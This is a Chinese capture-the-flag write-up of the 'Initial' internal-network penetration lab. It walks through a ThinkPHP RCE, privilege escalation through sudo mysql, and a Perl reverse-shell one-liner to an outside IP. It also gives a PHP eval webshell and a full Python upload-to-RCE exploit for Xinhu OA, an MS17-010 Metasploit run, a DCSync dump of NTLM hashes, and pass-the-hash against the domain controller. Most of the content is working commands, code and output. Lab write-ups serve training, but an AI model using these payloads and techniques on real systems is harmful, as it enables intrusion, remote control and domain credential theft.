靶标介绍： Initial是一套难度为简单的靶场环境，完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag，各部分位于不同的机器上。
Flag01 使用fscan进行端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 PS C:\Users\28257 > E:\fscan\fscan.exe -h 39.99 .130.66 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.99.130.66:22 open 39.99.130.66:80 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.99.130.66 code:200 len:5578 title:Bootstrap Material Admin [+] PocScan http://39.99.130.66 poc-yaml-thinkphp5023-method-rce poc1 已完成 2/2 [*] 扫描结束,耗时: 28.066653s PS C:\Users\28257>
发现poc-yaml-thinkphp5023-method-rce漏洞ThinkPHP综合利用工具进行扫描，并getshellflag，推测flag在root目录下，于是进行提权sudo -l发现我们可以通过通过 sudo 高权限运行 mysql，进而能够执行 root权
1 2 3 4 5 6 7 8 /var/www/html/ >sudo -l Matching Defaults entries for www-data on ubuntu-web01: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on ubuntu-web01: (root) NOPASSWD: /usr/bin/mysql /var/www/html/ >
参考文章# 渗透测试：Linux提权精讲（三）之sudo方法第三期
1 2 3 4 5 6 7 8 9 10 11 /var/www/html/ >sudo mysql -e '\! ls /root' flag /var/www/html/ >sudo mysql -e '\! ls /root/flag' flag01.txt /var/www/html/ >sudo mysql -e '\! cat /root/flag/flag01.txt' Congratulations!!! You found the first flag, the next flag may be in a server in the internal network. flag01: flag{60b53231- /var/www/html/ >
Flag02 flag02在内网主机上，所以我们需要内网渗透tmp目录上传fscan和Stowawayvps上开启监听，使用Stowaway建立socksroot权限
1 2 3 4 5 6 7 8 9 10 (node 0) >> shell [*] Waiting for response..... bash: cannot set terminal process group (728): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu-web01:/tmp$ sudo mysql -e '\! /bin/sh' sudo mysql -e '\! /bin/sh' id uid=0(root) gid=0(root) groups=0(root)
使用pwncat反向连接
1 2 perl -e 'use Socket;$i="116.62.175.18";$p=1124;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
反弹shell
1 2 3 4 5 6 7 8 9 10 11 (pwncat-env) root@iZbp1htdy6ewnrlsajlbxyZ:~# pwncat-cs -lp 1124 [10:09:18] Welcome to pwncat 🐈! __main__.py:164 [10:14:16] received connection from 39.99.154.140:41202 bind.py:84 [10:14:17] 39.99.154.140:41202: registered new host w/ db manager.py:957 (local) pwncat$ (remote) root@ubuntu-web01:/tmp# ls fscan linux_x64_agent (remote) root@ubuntu-web01:/tmp# whoami root (remote) root@ubuntu-web01:/tmp#
进行内网扫描，发现另外3台机器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 (remote) root@ubuntu-web01:/tmp# ./fscan -h 172.22.1.0/24 ___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.22.1.15 is alive (icmp) Target 172.22.1.2 is alive (icmp) Target 172.22.1.21 is alive (icmp) Target 172.22.1.18 is alive
使用proxifier进行代理，访问内网主机admin/admin123弱口令登录RCE漏洞 ==代码审计==信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE
脚本 1.php
1 <?php eval ($_POST ["1" ]);?>
exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests session = requests.session() url_pre = 'http://172.22.1.18/' url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953' url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913' url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11' data1 = { 'rempass' : '0' , 'jmpass' : 'false' , 'device' : '1625884034525' , 'ltype' : '0' , 'adminuser' : 'YWRtaW4=' , 'adminpass' : 'YWRtaW4xMjM=' , 'yanzm' : '' } r = session.post(url1, data=data1) r = session.post(url2, files={'file' : open ('1.php' , 'r+' )}) filepath = str (r.json()['filepath' ]) filepath = "/" + filepath.split('.uptemp' )[0 ] + '.php' id = r.json()['id' ] url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id } ' r = session.get(url3) r = session.get(url_pre + filepath + "?1=system('whoami');" ) print (r.text)
运行脚本，上传一句话木马
Flag03 整理一下
1 2 3 4 172.22.1.15 thinkphp 已解决 172.22.1.21 MS17-010 172.22.1.2 DC01 172.22.1.18 信呼协同办公系统 已解决
由于172.22.1.21存在永恒之蓝，直接用msf梭哈ms17,直接使用第一个payload和rhosts
1 2 3 4 5 6 msf exploit(windows/smb/ms17_010_eternalblue) > set payload ...... msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 172.22.1.21
直接开跑
1 msf exploit(windows/smb/ms17_010_eternalblue) > run
使用getuid发现是system权限，于是直接使用kiwi获得用户哈希
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 meterpreter > load kiwi [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 Loading extension kiwi... .# .# # # '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ Success. [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 meterpreter > kiwi_cmd lsadump::dcsync /domain:xiaorang.lab /all /csv [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [DC] 'xiaorang.lab' will be the domain [DC] 'DC01.xiaorang.lab' will be the DC server [DC] Exporting domain 'xiaorang.lab' [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) 502 krbtgt fb812eea13a18b7fcdb8e6d67ddc205b 514 1106 Marcus e07510a4284b3c97c8e7dee970918c5c 512 1107 Charles f6a9881cd5ae709abb4ac9ab87f24617 512 1000 DC01$ c98729ce5e5f53402d6baf59e62750b4 532480 500 Administrator 10cf89a850fb1cdbe6bb432b859164c8 512 1104 XIAORANG-OA01$ b3109feb4a88c2c0684cd955a5e32fd6 4096 1108 XIAORANG-WIN7$ 90b6bf36a7bababd624599beeea8c838 4096 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] DLL init: proxychains-ng 4.17
哈希传递,拿下域控制器，得到flag03
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ┌──(root㉿kali)-[~] └─# proxychains nxc smb 172.22.1.2 -u administrator -H 10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt" [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:445 ... OK [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:135 ... OK [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:445 ... OK SMB 172.22.1.2 445 DC01 [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC01) (domain:xiaorang.lab) (signing:True) (SMBv1:True) [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:445 ... OK SMB 172.22.1.2 445 DC01 [+] xiaorang.lab\administrator:10cf89a850fb1cdbe6bb432b859164c8 (Pwn3d!) [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:135 ... OK [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:49666 ... OK [proxychains] Strict chain ... 116.62.175.18:1123 ... 172.22.1.2:49666 ... OK SMB 172.22.1.2 445 DC01 [+] Executed command via wmiexec SMB 172.22.1.2 445 DC01 ___ ___ SMB 172.22.1.2 445 DC01 \\ / / / / // | | // ) ) // ) ) // | | /| / / // ) ) SMB 172.22.1.2 445 DC01 \ / / / //__| | // / / //___/ / //__| | //| / / // SMB 172.22.1.2 445 DC01 / / / / / ___ | // / / / ___ ( / ___ | // | / / // ____ SMB 172.22.1.2 445 DC01 / /\\ / / // | | // / / // | | // | | // | / / // / / SMB 172.22.1.2 445 DC01 / / \\ __/ /___ // | | ((___/ / // | | // | | // |/ / ((____/ / SMB 172.22.1.2 445 DC01 flag03: e8f88d0d43d6} SMB 172.22.1.2 445 DC01 Unbelievable! ! You found the last flag, which means you have full control over the entire domain network.
附：DCSync 攻击技术的利用
进入内网系统
